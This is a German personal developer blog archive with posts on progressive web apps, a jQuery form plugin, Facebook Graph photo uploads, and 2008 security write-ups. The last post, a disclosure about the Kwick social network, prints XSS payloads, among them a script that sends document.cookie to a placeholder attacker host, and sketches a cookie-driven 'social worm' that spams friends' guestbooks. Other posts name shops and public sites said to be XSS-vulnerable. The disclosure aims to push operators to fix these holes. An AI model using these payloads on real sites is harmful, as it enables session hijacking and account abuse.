[ KASIS | Kay | Schneider ]

Create a progressive web application - live coding session video

2017-04-03T00:50:00.002-07:00

Aprilscherz Google Maps - Spiele Ms. Pac-Man

2017-04-01T09:06:00.001-07:00

In diesem Jahr hat das Google Maps team einen Aprilscherz aus dem Jahre 2015 ausgegraben und etwas erweiteret. Im Jahr 2015 konnte man Pac-Man spielen. In diesem Jahr ist es die "Ms. Pac-Man" geworden.
Im Video zeige ich es euch in der Google Maps App auf dem Android

Progressive Web App

2017-03-24T04:35:00.000-07:00

In einem vorherigen Post habe ich meinen kleinen Notenrechner vorgestellt.

In diesem Post möchte ich basierend darauf eine Progressive Web App vorstellen welche Online wie Offline funktioniert. Und welche man auch dann laden kann wenn der Browser offline ist.

Die Seite sowie den Quellcode findet hier hier:

Notenrechner:
https://kayschneider.github.io/notenRechner/#/calc

Quellcode:
https://github.com/KaySchneider/notenRechner

Was genau eine Progressive Web App ist, wird hier erklärt:
https://developers.google.com/web/progressive-web-apps/

In diesem kleinen Notenrechner, widme ich mich nur der Offline Funktionalität der kleinen App. Der Notenrechner soll online und offline gleichermaßen funktionieren.

Dazu benötigen wir einen Service Worker, welcher uns den gewünschten content herunterlädt und beim Nutzer auf die Festplatte ablegt, dort kann nun auch im Offline Modus auf die Inhalte zugegriffen werden. Als positiver Nebeneffekt, lädt die Seite auch schneller zumindest beim zweiten Besuch der Seite da die Inhalte schon beim Nutzer liegen.

Wichtig ist als erstes ein manifest.json einzubinden und eure Seite muss via SSL ausgeliefert werden. Dazu kann man auch die gesamte check liste von google durchgehen:

https://developers.google.com/web/progressive-web-apps/checklist

Hier ein Beispielhaftes manifest.json:

Wichtig ist das das manifest.json folgende Attribute enthält:

name Der Name wird im Installations Banner angezeigt
short_name Dieser Name wird auf dem Home screen angezeigt und sollte kürzer sein

Die Icons sollten in den unterschiedlichen größen hinterlegt werden, dies erleichtert das auffinden eurer progressive Web App auf dem Handy enorm.

Das Attribute start_url enthält die zu startende Seite wenn der Nutzer die Anwendung startet. Hier kann man auch ein tracking Parameter hinzufügen start_url:"?utm_source=homescreen". Somit könnt ihr tracken wieviel Nutzer eure app wirklich auch vom Homescreen heraus starten.

Mit dem Attribut display kann man die Anwendung im Browser öffnen lassen oder standalone. Der standalone Modus fühlt sich mehr wie eine Anwendung an.

Mögliche Werte für das Attribut display:

browser Öffnet die Anwendung im Browser
standalone Öffnet die Anwendung im Standalone Modus(ähnlich wie eine App)

Weiterführende Informationen zum Thema Web manifest finden sich hier:

https://developer.mozilla.org/en-US/docs/Web/Manifest

Der wichtigste Teil in diesem Beitrag ist der Service Worker.

http://blog.yakisch.com/post/159010205729/progressive-web-apps-teil-2-service-worker

Hier gehts zum Video Create a Progressive Web application

2016 Trend - Digitalisierung von Geschäftsprozessen in KMU

2016-01-05T07:48:00.000-08:00

Der Digitale Wandel ist nicht nur ein Trend, er macht auch Prozesse und somit Unternehmen agiler, Wirtschaftlicher und lässt diese schneller und Risikofreier Wachsen.

Gerade Mittelständische Event und Promotion Agenturen arbeiten zumeist noch mit Excel, was zwar gut funktioniert. Jedoch den Nachteil hat das es nicht vernetzt ist und anfällig für Fehler ist.
Gerade wenn mehrere Menschen an etwas Arbeiten ist es schnell vorbei komplexe Abläufe in Excel abzubilden.

Und der Digitale Wandel schafft hier abhilfe. Waren doch vor 10 Jahren die Grund investitionen in eine Branchenlösung noch enorm. So sind dank cloud services diese einstiegspreise stark gefallen und bieten zumeist ein faires Preis Modell an was sich an die Nutzung des Produktes orientiert. Am weitesten verbreitet ist das bezahlen nach Firmengröße/Anzahl Nutzer. Dieses Preismodell hat den Vorteil das man auch als KMU ein kleines Paket wählen kann und eine sehr günstige Software erhält.

Desweiteren bieten gerade digitale Prozesse den Vorteil das diese einfache tätigkeiten Halb automatisch durchführen können. Bei einer Event Agentur wäre dies etwa die Terminabsprache mit Promotoren, das Überprüfen der Rechnungen von Promotoren, die Abrechnung mit Auftraggebern.

Diese Prozesse können durch einige Produkte Automatisiert werden und man schafft freie Resourcen im Backoffice für wichtigere Aufgaben im Unternehmen und wird somit auch Effizienter, weniger Anfällig für Fehler und kann mehr Verkaufen und oder Kunden erreichen als ein Mitbewerber welcher sich nicht Digitalisiert. Die rasche Digitalisierung ist nicht nur eine Frage eines Trendes sondern wird auch und gerade bei Event Agenturen im Umfeld der Verkaufsförderung ein Selektionskriterium der Auftraggeber werden, da diese sich auch mehr und mehr dem Digitalen wandel verschreiben und somit auch Partner suchen welche sich in die eigene Digitale Prozesswelt einbinden lassen.

Somit hilft es auch das eigene Unternehmen fit für die Zukunft zu machen, ein neuer Anbieter versucht KMU`s im Event und Verkaufsförderungsumfeld hier auf die Sprünge zu helfen, von einer Anbindung an die Systeme der Auftraggeber bishin zur voll Digitalisierten Abbrechnung mit den Promotoren bietet empplan ein revolutionären Ansatz im Bereich der Promotion und Eventagenturen.
Wer mehr über den Digitalen Wandel im Bereich Event und Promotion Agenturen erfahren möchte kann sich hier informieren: http://www.empplan.com

Promotion Planung -- Software Neu

2016-01-05T03:27:00.000-08:00

Promotion Planung Software Vorstellung: empplan

In der Promotion Planung gibt es diverse Softwareangebote und hier möchte ich ein paar Vorstellen, heute zum Start der Serie gibt es direkt eine Neuerscheinung am Markt der Promotion Software, Empplan.

Empplan ist eine Software as a Servive Lösung, sowie Salesforce.com als Beispiel. Mit Empplan kann man Zielgenau seine Promoter steuern, Einsätze Planen und die Durchführung zentral Überwachen. Es gibt auch eine einfache Möglichkeit ein Serien Event für Dauerpromotions zu erstellen:

Zu den Mitbewerbern unterscheidet es sich das Empplan direkt die Tages reports ( Sales Reports) für die Auftraggeber unterstützt, dabei können direkt die Produkte des Kunden hinterlegt werden um Fehler im Reporting zu vermeiden. Darüber hinaus hat es einige spannende Ansätze, Es werden einfach Projekte für Kunden angelegt und über eine bereits Hinterlegte Mart-Point of Sale Datenbank für DACH spart man sich viel Zeit beim Anlegen der Point of sales.

Somit können Promoter auch tagesgenau sehen welche Provision sie zu erwarten haben und sorgt für mehr Transparenz in Agenturen und somit zu einer höheren Promoter treue im Unternehmen.

Durch die einfache und klare Aufmachung gegenüber anderen Mitbewerbern wir IPM-Promotion ist empplan schneller Produktiv im Einsatz in der Agentur.

Event-Status auf Event Detail Seite

Die Promoter können sich am Event/Einsatz anmelden und abmelden somit weiß die Agentur stets bescheid bei welchen Events heute nachgefragt werden müssen oder Ersatz besorgt werden muss. Dies sieht man direkt im Tages Dashboard. Somit muss man nicht umständlich suchen oder sich durch die Software klicken.

Es ist nicht ganz so anpassungsfähig wie manch andere Software dafür aber wesentlich einfacher in der Täglichen Handhabung. Es schützt vor doppel Buchungen von Mitarbeitern bei der Planung und hilft somit die Qualität der Agentur zu steigern.

Eine Integrierung von Promotionbasis Profile gibt es derzeit noch nicht in empplan aber eine API ist in Aussicht gestellt laut Hersteller so dass sich dieses Problem wohl bald beheben lässt.

Beim Tages Reporting für den Agentur Kunden spart man ca. 80% der Zeit da man diesen als Excel direkt aus Empplan heraus exportieren kann. Da die ersten 30 Tage kostenlos zum testen sind lohnt sich ein Blick auf jeden Fall:
www.empplan.com

Generating Libraries and Discovery Docs with the Endpoints Tool

2014-10-26T03:45:00.003-07:00

Generating Libraries and Discovery Docs with the Endpoints Tool

inside the directory of your python cloud endpoints source code:

google-cloud-sdk/bin/endpointscfg.py get_client_lib java -bs gradle api_name_from_app_yaml.UserController api_name_from_app_yaml.GCMController api_name_from_app_yaml.MessageController

More information:
https://cloud.google.com/appengine/docs/python/endpoints/endpoints_tool

Finding the android debug certificate fingerprint on linux

2014-05-11T04:32:00.000-07:00

Simply copy this line into your terminal:

keytool -v -list -keystore /home/username/.android/debug.keystore

That`s it. Now you see the fingerprints and android debug certificate informations.

Filme kostenlos und legal im Netz anschauen

2013-04-05T02:02:00.001-07:00

Kinox.to & co haben es vorgemacht nun ziehen die legalen Filmportale nach. Heute möchte ich euch
kinox.de.vu Vorstellen.
Dabei handelt es sich um einen crawler welcher geziehlt nach kostenlosen Filmen im Netz ausschau hält und das Ergebniss kann sich sehen lassen :)

Kostenloses Film streaming

Amazon Adventkalender

2012-12-03T04:39:00.001-08:00

Keinen Tag mehr in der Adventszeit ein Schnäpchen verpassen. Mit dem Amazon Adventskalender kein Problem:

https://chrome.google.com/webstore/detail/amazon-adventskalender/hgmnjadedpdgnnebbgcpdodpekdbeoad

Er macht dich jeden Tag auf tolle Schnäppchen aufmerksam.

fastform jquery Plugin

2012-11-20T22:33:00.000-08:00

Fastform ist mein neustes Plugin für jQuery. Mit diesem Plugin ist es möglich Formulare mittels Ajax an den Server zu senden ohne sich um die Daten zu kümmern. Es spart einiges an Entwicklungszeit.

Um dies zu verdeutlichen zeige ich hier mal den kleinsten Aufruf von fastform:

$('#formularId').fastform({ajax:true});

Mit diesem Aufruf wird ein Formular an die im action Attribute angegeben url gesendet mittels Post. Das Plugin kann aber auch nur dazu benutzt werden ein Formular zu validieren. Wenn ich nur die Validierungsfunktion nutzen möchte und die Daten in einem Objekt bekommen möchte dann reicht sogar dieser Aufruf:

var data = $('#formularId').fastform();

if(data == false) { //fehler im Formular, der Nutzer sieht nun die Fehlerhaften Elemente rot markiert.
return false;
} else {
// hier kann ich die Daten selbst mit $.ajax versenden oder irgendwas anderes tolles damit machen
}

Wie man sieht spart dieses Plugin in der tat viel Zeit und beseitigt auch die eine oder andere Fehlerquelle da neue Formularfelder direkt mit versendet werden.

Damit das Plugin weiß welche Felder required sind nutzt es das Attribute "required='required'" aus html5. Sobald ein Feld dieses Attribute besitzt muss es ausgefüllt sein damit das Formular versendet werden kann.

fastform ist ein jquery Plugin was die Entwicklungszeit von Ajax Formularen rapide verringert. Mehr Informationen zum Plugin auf der Projektseite:

http://kayschneider.github.com/fastform/

Chrome Extension ( integrate Facebook in your google plus "main" stream )

2011-07-17T07:09:00.000-07:00

Das Wochenendwerk von mir wäre nun auch fertig...
Eine kleine Extension welche den Facebook Newsstream Chronologisch in den Newsfeed von GooglePlus ein.
Der kleine Helfer sortiert die Updates nur in den "main" stream ein, sobald man einen circle anwählt verschwinden die FB Updates.. zurück zum main stream da ist er wieder ;)
Zur Extension im Chrome Webstore :)

Join me on Google+

2011-07-17T07:07:00.000-07:00

https://plus.google.com/101394390558382014012/posts

Facebook GRAPH Picture Upload Tutorial

2011-01-08T07:14:00.000-08:00

So mit der Facebook GRAPH API lässt sich ja einiges machen. Ich widme mich heute mal dem Photo Upload. Und biete hierzu auch ein paar Code Samples an welche man benutzen kann.

So let`s go. Am einfachsten mit der GRAPH API zu arbeiten ist es wenn wir mit dem Offiziellen PHP Packet von Facebook arbeiten. Dies gibts unter GITHUB:
https://github.com/facebook/php-sdk/

Hier noch ein kleines Beispiel wie man dieses Paket zum laufen bringt:

include_once('facebook.php');

class facebookFactory {

private $facebook;
private static $instance = null;

private function __construct() {
$this->facebook = new Facebook(array(
'appId' => APP_ID,
'secret' => APP_SECRET,
'cookie' => true,
));
}

private function __clone() {

}

public static function getInstance() {
if(! self::$instance) {
self::$instance = new facebookFactory();
}

return self::$instance;
}

public function getFacebook() {
return $this->facebook;
}

}

Dies ist eine kleine Facebook Factory. Wer weiß ob man vielleicht das Offizielle Paket gegen ein anderes eintauscht. Im Konstruktor wird die Klasse Facebook aus dem facebook Packet instanziert. Dort werden alle nötigen Informationen, also APP_KEY, SECRET übergeben.
Diese Daten bekommt ihr von Facebook wenn ihr eine Anwendung erstellt.

So nun widmen wir uns dem Bilder Upload. Ich neige immer dazu "Fremdpackete" zu wrappen. Also nicht direkt auf die Methoden von der Klasse Facebook zurückzugreifen. Dazu habe ich ein "Arbeitstier" welche alle nötigen Methoden implementiert hat und einfach immer das Passende von der Klasse Facebook aufruft.

Um ein Bild hochzuladen mittels der "Graph" API hochzuladen. Hier ein kleinen Auszug meiner Upload Funktion welche die Facebook Upload Funktion anspricht:

$arguments = array(
'message' => 'Die Bildunterschrift :) ',
'tags'=>$this->makeTagArray($this->getRandomFriends($userId)),
'source' => '@' .realpath( BASEPATH . '/tmp/'.$imageName),
);
public function uploadPhoto($albId,$arguments) {
//https://graph.facebook.com/me/photos
try {

$fbUpload = $this->facebook->api('/'.$albId.'/photos?access_token='.$this->facebook->getAccessToken(),'post', $arguments);
return $fbUpload;
}catch(FacebookApiException $e) {
$e;
// var_dump($e);
return false;
}
}

In dieser Methode wird auf das Facebook Objekt zugegriffen und dann die API angesprochen. Dann den Pfad, also welche Methode, wir von der Graph API ansprechen wollen.
In meinem Fall übergebe ich eine ID eines Albums und Poste dort das Foto. Alternativ kann man auch einfach /me angeben. Dann handelt Facebook Automatisch die Alben.

Für diesen Aufruf ist wie bei allen Post aktionen ein Access Token notwendig. Diesen Liegert ebenfalls die Klasse Facebook.

Mit diesem Aufruf Posten wir ein Bild und Taggen direkt mal ein paar User. Hierzu erläuter ich noch die Methode makeTagArray:

private function makeTagArray($userId) {
foreach($userId as $id) {
$tags[] = array('tag_uid'=>$id, 'x'=>$x,'y'=>$y);
$x+=10;
$y+=10;
}
$tags = json_encode($tags);
return $tags;
}

Wie man sieht erstellt die Methode ein array welches ein Assoziatives Array mit sämtlichen Informationen zum Tag enthält. In meinem Fall wird der Methode einfach ein Array mit userIds von Facebook übergeben. Die Userids werden durchlaufen, die Position x und y wird aktualisiert und das wars dann auch schon.
Nun wird das Array zurückgegeben und steht nun ebenfalls als Argument für den Graph aufruf zur Verfügung. Die Option Tags muss immer ein array enthalten welches die Informationen für die Tags enthält, auch wenn man nur einen Tag hinzufügen möchte!

So ich hoffe es hat dem einen oder anderen weitergeholfen.

Feedback ist immer Wilkommen, und über lob wird sich gefreut.

Feine Festreden

2010-12-22T06:10:00.000-08:00

Feine Festreden gibt es von Hannelore Rösler, damit man nie wieder sprachlos dasteht:
www.feine-festrede.de

eine gute Idee wie ich finde :)

Shopping auf facebook

2010-09-09T07:26:00.000-07:00

Facebook als Plattform für einen Online-Shop ? Ja, facebook eignet sich sehr gut als Sopping Plattform. Ein Shop kann man mittels der guten facebook API gut einbinden.

Es gilt nur zu beachten dass ein Shop auf facebook nicht 100% so funktioniert wie ein herkömmlicher Online Shop. Die User Experience sollte daher an facebook angepasst werden und das "reine Einkaufen", sollte als Nutzererlebniss hinten angestellt werden. Im Vordergrund sollten die Sozialen Funktionen stehen. Wie zum Beispiel das Teilen und Bewerten eines Artikels. Anderen Nutzer bestimmte Artikel weiterempfehlen oder man ermuntert Nutzer auf facebook aus dem Sortiement des Online Shops eine eigene "Zusammenstellung" machen zu lassen. Dies empfiehlt sich sehr bei Bekleidung.

So können andere Nutzer die Sets bewerten und darüber Diskutieren. Das Set mit dem besten Bewertungen im Monat könnte Premiert werden. Nutzer welche positive resonanz für Ihr Set bekommen könnte man Punkte geben. Diese Punkte wiederrum sind dann ausschlaggebend für Rabatte im Shop. Dem Nutzer sollte auch die Möglichkeit gegeben werden das Set wie angezeigt erwerben zu können.

Mit solchen und ähnlichen Mechanismen kann man einen schnöden Online Shop zu einem Social Shop verhelfen. Der Vorteil eines Social Shops ist dass Bewertungen nicht mehr Annonym sind, sondern direkt einem Bild, Profil zugeordnet werden. Dadurch wird die Glaubwürdigkeit der Bewertung erhöt. Durch "Mitmach" und "Veröffentlichen" Mechanismen bekommt man viele Nutzer welche öfters als sonst mit dem Shop interagieren.

Der Social Shop von Morgen erhöt den viralen effekt indem er den Verkauf etwas in den Hintergrund stellt. Und man erhält dadurch mehr Verkäufe.. :)

Hört sich einfach an, aber irgendwie finden sich nicht viele ernsthafte Ansätze zu einem Social Shop. Zu viele Shopbetreiber integrieren, like buttons in Ihrem Shop. Nur leider nutzen diese dann nur einen kleinen Teil des viralen Effekts... würde man sich ernsthafte gedanken über eine "richtige" integration in Facebook machen so könnten auch bestehende Shops ihre Fangemeinde über die Bestandskundschaft hinaus erweitern :)

Als Fazit kann man nun mitnehmen dass es durchaus Lohnenswert ist seinen bestehenden Online Shop in facebook zu integrieren. Man sollte sich aber zuerst ernsthafte Gedanken zu den Mechanismen eines Sozialen Netzwerkes machen.

XSS against nazis

2008-06-30T10:09:00.000-07:00

Fragwürdige CMS Anbieter......

2008-06-30T05:03:00.000-07:00

Es gibt ja viele gute Content Management Systeme welche OpenSource sind. Also als Beispiel sei hier Typo, joomla und wordpress genannt.
Gut wordpress hat sicherheitstechnisch in der Vergangenheit Probleme gehabt aber die Probleme sind weitest alle behoben worde. Im vergleich schneiden da die kostenpflichtige angebote sehr schlecht ab.

Auf meinem hack1n9 Blog habe ich über diverse Sicherheitsprobleme auf den verschiedensten Seiten Berichtet. Für die Probleme des Landes Baden-Württemberg ist ein CMS verantwortlich. Das ist das CMS Pirobase von Pironet. Es kostet 2 Vermögen ist unsicher und taugt nichts. Aber naja was solls.

Ebenfalls anfällig ist das webios cms. Ebenfalls angeschrieben. Positiv rückmeldung mit wir machen dass. Negativ bis heute nichts geschehen. Und dabei wäre das Problem in weniger als 5 Minuten zu beheben!!

Alle Fehler, hauptsächlich XSS, lassen sich auf vielen weiteren Seiten nachvollziehen. So zum Beispiel auch auf Freiburg.de. Pirobase sei dank.
Also ich dachte ich schreibe einfach mal Pironet an und nenne das Problem. Also ich rief an, habe ne email gesendet, mit Menschen gesprochen. Und das Ergebniss. Nichts.
Eine Seite hatte diverse SQL-injection Probleme, dort habe ich den webmaster angeschrieben. Aber nichts. Das Problem besteht heute noch ???

Ich habe gehofft durch aufzeigen von Problemen werden diese gelöst und sicherer gemacht. Aber ich denke dass man einfach solche Sicherheitslücken auf Mailinglisten veröffentlichen muss. Denn wenn es mehr Menschen wissen dann steigt auch der Druck auf den Anbieter. Hoffentlich.
Auch das Land juckt es nicht wenn die Seiten so lala herumhängen. Ich habe mails an die verschiedensten Stellen gesendet.
Ja immer mit kompletter anschrift etc. und wollte es denen sagen dass ihre Seiten nicht so ganz in Ordnung sind. Aber ebenfalls völliges desinteresse. Nein ich erwarte nicht dass die sich bei mir melden.
Einfach zur Kenntniss nehemn und richtig machen. Mensch ist doch nicht schwer. Oder doch?? Wenn doch dann war euer Studium umsonst ;-) Ich weiß ich weiß... aber ich hab recht!!!

Leider reagierte auch niemand bei Zweckverband Kommunale Datenverarbeitung Region Stuttgart (KDRS) diese Leute verbauen das Pirobase wie die wahnsinnigen. Leider leider mit durchgehend gleichem Ergebniss. XSS vulnerable.....
überall.....

Ich denke eine Sicherheitslücke wenn es auch "nur" *räusper* um xss geht wäre bei einem OpenSource Projekt innerhalb von 2 Tagen wenn überhaupt gefixed worden. Aber die "kommerziellen" Anbieter verschlafen dies. Das Kommentar von Pironet zu den Sicherheitsproblemen auf den Landesseiten, darunter auch die Polizei, dass müssen die Webmaster regeln wir sind dafür nicht verantwortlich! Ja klar ;-)
Da ist mir ja Microsoft noch Sympatischer........

Zertifizierte Online-Shops, trügerische Sicherheit!

2008-06-28T06:37:00.000-07:00

Online Shopping Sicherheit Trusted Zertifikate gibt es mittlerweile wie Sand am Meer.
Doch was taugt ein Zertifizierter Shop überhaupt.
Was meinen die mit "trusted"...... ist "https" ?? Reicht dass schon ??

Ich habe mit das Zertifikat vom Tüv mal genauer unter die Lupe genommen. Und musste feststellen dass bei einigen Shops trotz (trusted, save, zertifiziert) und anderen ominösen Auszeichnungen. Es offensichtliche Sicherheitslücken gibt. Diese musste ich nicht suchen, sonder die sind mir geradezu ins Auge gesprungen.

Bei ciao.de zum Bleistift ist XSS möglich. Und das ohne Probleme und Einschränkungen. XSS ist allgemein bei vielen Shops möglich. Am besten ist es für einen Angreifer, Shop mit community und einem einheitlichen Login.

Es sind nicht nur mini Shops welche unsicher sind. Es sind OnlineShops von Beate-Uhse, Karstadt-Quelle etc dabei. Also nicht nur komische Läden wo niemand einkauft!!

So wird es leicht gemacht Daten auszulesen, und man kann den XSS Code sehr effektiv weiterverbreiten. Manche Shops führen zweifelhafte Sicherheitsblockaden ein. Da steht dann etwas wie "a attack was bla bla your ip bla bla". Uhh jetzt gehts aber los. Ich hab nur gesucht.

Macht aber nichts. Das hat mich immehin dazu angespornt einen workaround zu finden. Beim IE zumindest klappts dann auch mit dem script. Denn komischerweise sind html tags mit style erlaubt ???? Was zum Teufel ist da los????
Es kann doch nicht wahr sein. Ich glaube das Entwickeln Menschen die haben keine Ahnung wie man so einen Angriff durchführt. Wie wollt ihr euch vor etwas Schützen von dem ihr keine Ahnung habt was es macht? Und wie es geht??

Egal. Zumindest hat diese Testreihe aufgezeigt dass Trusted nicht Trusted ist. Und dass man lieber aufmerksam ist als Kunde. Denn wer weiß wo ihr euch einloggt?? Auch ciao.de oder auf GibMirDeineDaten.de

Vielleicht vertrauen auch die Shop Betreiber auf diese Zertifikate. Die haben gesagt wir sind sicher. Ja die schauen ja nur ob die Daten per https übertragen werden, ob die Ware ankommt, der Umtausch Funktioniert usw.... die schauen doch nicht ob eure Server und Software sicher ist. Das machen die Zertifikate nicht. Und mal im ernst, die Zertifizierer wollen nur Geld verdienen. Die möchten nicht prüfen ob der Kunde dort sicher ist. Die wollen nur Profit. Das sind AGs da geht es um Geld machen nicht um mich oder Dich als Kunde!

Im Anhang habe ich eine Liste mit Shops welche eindeutige Sicherheitsmängel auf der Seite beinhalten. Also Augen auf beim Online Kauf!

Ich hab jeden Shop nur kurz angetestet. Also nicht länger als 5 Minuten. Und dass ist dafür ein verherendes Ergebniss:

Liste der Shops mit Sicherheitslücken:

boc24.de
Conrad Extreme, ja Xtrem unsicher
Conrad-Security.de Sicher doch muss man sagen
Topdeq.de
Essen-und-Trinken (kein shop) community
Karstadt-Quelle Versicherung. Hoffentlich hält die Versich erung mehr als die Seite ;-)
Modeschmuck.de einigermaßen sicher. Schreckt kleine Kids ab. Wenn erfahren auch unsicher
Elektromotorenmartk.de
Eddiebauer.de
Eis.de
Beate-Uhse, ein heiße s Pflaster
Orion.de genauso gut wie oben
Gebrüder Götz

Die Liste der nicht entdeckten Lücken in anderen Shops könnte noch länger werden. Aber ich kann ja nicht wochenlang hier shops testen. Das Zahlt ja niemand. Kennt jemand noch nen unsicherehn shop;-) Einfach als Kommentar Posten ich nehms in die Liste auf.

Bilder sagen mehr als Tausend Worte:

Soziale Netze und die Sicherheit! Report Kwick!

2008-06-23T07:22:00.000-07:00

Hinweis:
Diesen Post habe ich auf meinem hack1n9 Blog veröffentlicht.

Die Sozialen Netzwerke, neudeutsch: Social Networks, halten nicht allzu viel von Sicherheit. Vor allem müssten die Entwickler viel mehr für das Thema XSS Sensibilisiert werden. Denn Potentielle Angreifer finden jede Schwachstelle im System. Und wer lange genug sucht der wird immer fündig. Es sollte den Angreifern nur nicht allzu einfach gemacht werden.

Kwick.de hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.
Eines sei gesagt. Bei Kwick kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche XSS Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........

Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.

Abbildung 1: Kwick Seite nach der XSS Attacke
Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:

"><iframe src=http://google.de>

(Der steht in einer Zeile)
Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?
Bei Kwick wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:

<input type="text" name="q" id="search_q" value=""><iframe src=http://google.de>"
style="width: 250px;" class="borderLine" title="Suchbegriff eingeben (Name, Stadt, ...)" />

Hier gut zu erkennen. Der Suchstring wird in das value="Suchstring" eingefügt.
Und durch ein weiteres Anführungszeichen kann man das value Feld schließe. Nach
dem das Feld geschlossen ist kann man mit > den input tag schließen und man kann
nun ein neues tag öffnen. Im Testfall nun ein iframe.

Vielleicht sagt nun der ein oder andere na und? Das ist doch nicht schlimm, da es
ja nur auf meiner Seite ist. Ja das macht ja nichts! Doch was wenn ein Link so mani-
puliert wurde und Sie arglos auf diesen Link klicken, dann könnte ein Angreifer doch
mehr machen. Um zu zeigen wie mächtig so eine Sicherheitslücke ist soll folgendes
Beispiel zeigen.
Bisher haben wir nur einen iframe eingefügt. Jetzt werden wir einen Java Script
Code zur Demonstration einfügen. "><script>alert(document.cookie)</script>

In der Abbildung zwei sieht man dass Ergebniss dieser Abfrage. Es gibt nun alle Cookie Daten welche von K wick gesetzt wurden. Dass ist so gefährlich weil sobald jemand die cookie Daten von einem Besitzt so nimmt dieser für den Kwick Server die Idendität von jemand anderem an ! Also das heißt jeder kann nach einem Erfolgreichen Angriff auf meine Daten zugreifen. Nachrichten lesen, Nachrichten senden.

Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.

Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.


Also ein Gästebucheintrag mit:

Hallo Name_Empfänger,

na wie gehts? Ich hab was im Forum gefunden
dass musst du dir ansehen:
    Link ins Forum

Also bis dann Gruß 

Absender_Name

So sieht das ganze recht nett aus und mit Sicherheit wird der Empfänger, also von diesem Gästebucheintrag auf diesesn Link klicken, denn er möchte ja wissen was ihm der Absender, ein bekannter, zeigen möchte!

Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen "Social Worm" zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.
Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.

Nun zum Theoretischen Aufbau dieses Angriffes.

1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.

2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code

3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)

Zu den einzelnen Punkten. Wie kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.
Code:

"<script>keks=document.cookie;document.write( "<iframe src=
'http://irgendeinanonymerHost/guestbookSKW.php?Cookie= "+keks+ " ' style= 'width:100%;
height:200%;position:absolute; '></iframe> ");</script>

Mit diesem XSS Code wird nun ein iframe eingebunden welcher den GET Parameter Cookie an das PHP Skript übergibt. Der iframe wird mittels Javascript und document.write erstellt da ich ja den Prameter Cookie benötige, und dieser kann ich mittels Javascript auslesen, in der Variablen keks Speichern und dann in die url mit anhängen. Und es ist ja auch mal was anderes als es nur so Plumb in das Suchfeld einzufügen.

Zu Punkt 2:
Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript
benötigt folgende Fähigkeiten.

Es muss HTTP Verbindungen mit GET und POST Variablen herstellen
REG EXPRESSIONS, auslesen der Buddys(Freunde/Kontakte)

Dies ist alles nicht schwer zu bewerkstelligen. Das gesamte Skript möchte ich nicht veröffentlichen. Und es ist zu der Erklärung auch nicht notwendig dies zu tun. Es soll keine Anleitung für Skript Kiddies werden oder solche die es werden wollen. Dies soll aufzeigen wie Angreifer diese Lücken im großen Stil ausnutzen und so Social Networks in die Knie zwingen, oder die Benutzer dieser Netzwerke mit Spam zu Müllen! (mich inklusive :( )

Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.
Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.
Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.
Code:

preg_match_all("/(return profil$')(.*)('$)/i",$content, $treffer);

So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.

Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!

Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!
Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor XSS schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte WAF ( Web Application Firewall ). Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!

Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. Im zweifel einfach löschen und "nicht auf den link klicken".
